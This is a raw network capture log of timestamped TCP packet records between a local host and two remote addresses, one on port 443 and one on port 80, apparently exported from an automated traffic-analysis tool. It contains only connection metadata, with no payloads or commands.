Nov 24, 2024 10:24:11.564038992 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.564055920 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.564059973 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.567027092 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.567071915 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.567152023 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.567333937 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.567348003 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.620385885 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.621170998 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.621198893 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.621835947 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:11.621841908 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:11.893449068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.893479109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.893493891 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.893517971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:11.893548965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:11.893631935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.893649101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.893668890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.893673897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:11.893677950 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.893724918 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:11.893743038 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:11.893752098 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.893768072 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.893783092 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:11.893790960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:11.893814087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:11.893830061 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.013004065 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.013115883 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.018414021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.018485069 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.029160023 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.029212952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.074198961 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:12.077630043 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:12.077719927 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:12.077723980 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:12.077786922 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:12.077853918 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:12.077871084 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:12.077894926 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:12.077902079 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:12.081007004 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:12.081027985 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:12.081106901 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:12.081293106 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:12.081305981 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:12.094907045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.094923973 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.094985008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.097398043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.097455025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.097476959 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.097521067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.105793953 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.105910063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.105956078 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.106009960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.114227057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.114279985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.114367008 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.114408970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.122631073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.122701883 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.122721910 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.122771025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.131026030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.131086111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.131122112 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.131294966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.139395952 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.139462948 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.139540911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.139585972 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.147738934 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.147816896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.147865057 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.147908926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.156179905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.156260014 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.156271935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.156311989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.164944887 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.164989948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.165019989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.168956041 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.172648907 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.172705889 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.172753096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.172800064 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.179989100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.180043936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.214550018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.214569092 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.214668989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.216562033 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.302848101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.302870035 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.302968979 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.304194927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.304259062 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.304302931 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.304344893 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.308773041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.308837891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.308864117 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.308923006 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.313294888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.313395023 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.313457966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.317939997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.317996025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.318065882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.318111897 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.322443962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.322501898 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.322529078 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.322571993 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.327007055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.327069998 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.327091932 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.327135086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.331592083 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.331645966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.331722021 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.331767082 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.336150885 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.336204052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.336250067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.336293936 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.340756893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.340816975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.340846062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.340895891 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.345417976 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.345436096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.345465899 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.345490932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.348958015 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.349000931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.349140882 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.349191904 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.352727890 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.352783918 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.352819920 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.352863073 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.356375933 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.356443882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.356479883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.356528044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.360137939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.360197067 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.360233068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.360279083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.363760948 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.363802910 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.363878012 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.363926888 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.367449045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.367558002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.367605925 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.367680073 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.371160984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.371205091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.371220112 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.371248007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.374870062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.374892950 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.374933004 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.374950886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.378545046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.378593922 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.378674030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.378719091 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.382415056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.382432938 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.382467031 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.382483959 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.385994911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.386042118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.386200905 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.386259079 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.512341976 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.512418985 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.512464046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.512506008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.513686895 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.513735056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.514147997 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.514200926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.514261961 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.514308929 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.516927004 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.516973019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.517020941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.517069101 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.519649982 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.519695997 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.519789934 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.519835949 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.522352934 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.522399902 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.522437096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.522480965 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.525134087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.525177956 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.525348902 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.525403023 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.527841091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.527887106 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.527940035 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.527982950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.530751944 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.530776978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.530801058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.530814886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.533288002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.533337116 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.533423901 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.533469915 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.536047935 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.536097050 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.536151886 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.536199093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.538724899 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.538773060 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.538815022 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.538861036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.541474104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.541543007 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.541579962 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.541630983 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.544151068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.544199944 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.544294119 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.544337988 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.546901941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.546952009 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.546997070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.547048092 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.549617052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.549676895 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.549721003 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.549767971 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.552360058 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.552402973 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.552531004 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.552577019 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.555063963 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.555124044 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.555177927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.555222988 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.557835102 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.557887077 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.557905912 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.557954073 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.560544014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.560595036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.560668945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.560713053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.563276052 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.563330889 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.563339949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.563385963 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.565963030 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.566009998 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.566096067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.566143036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.568698883 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.568758011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.568855047 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.568901062 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.571525097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.571541071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.571568966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.571584940 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.574131966 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.574181080 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.574223995 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.574274063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.576905012 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.576952934 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.577045918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.577086926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.579611063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.579637051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.579658031 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.579677105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.582365990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.582417011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.582499981 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.582550049 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.585212946 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.585264921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.585299015 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.585345984 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.587841034 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.587907076 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.587985992 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.588027954 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.590537071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.590593100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.590724945 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.590778112 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.593235970 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.593286037 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.593358994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.593401909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.595985889 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.596033096 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.596077919 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.596132994 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.598712921 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.598762035 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.598881960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.598927975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.601428032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.601473093 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.601494074 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.601536989 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.604137897 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.604191065 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.604299068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.604345083 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.606900930 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.606947899 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.607070923 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.607112885 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.713882923 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.713953018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.714034081 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.714185953 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.715004921 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.715060949 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:12.715107918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:12.715152025 CET	49813	80	192.168.2.5	31.41.244.11
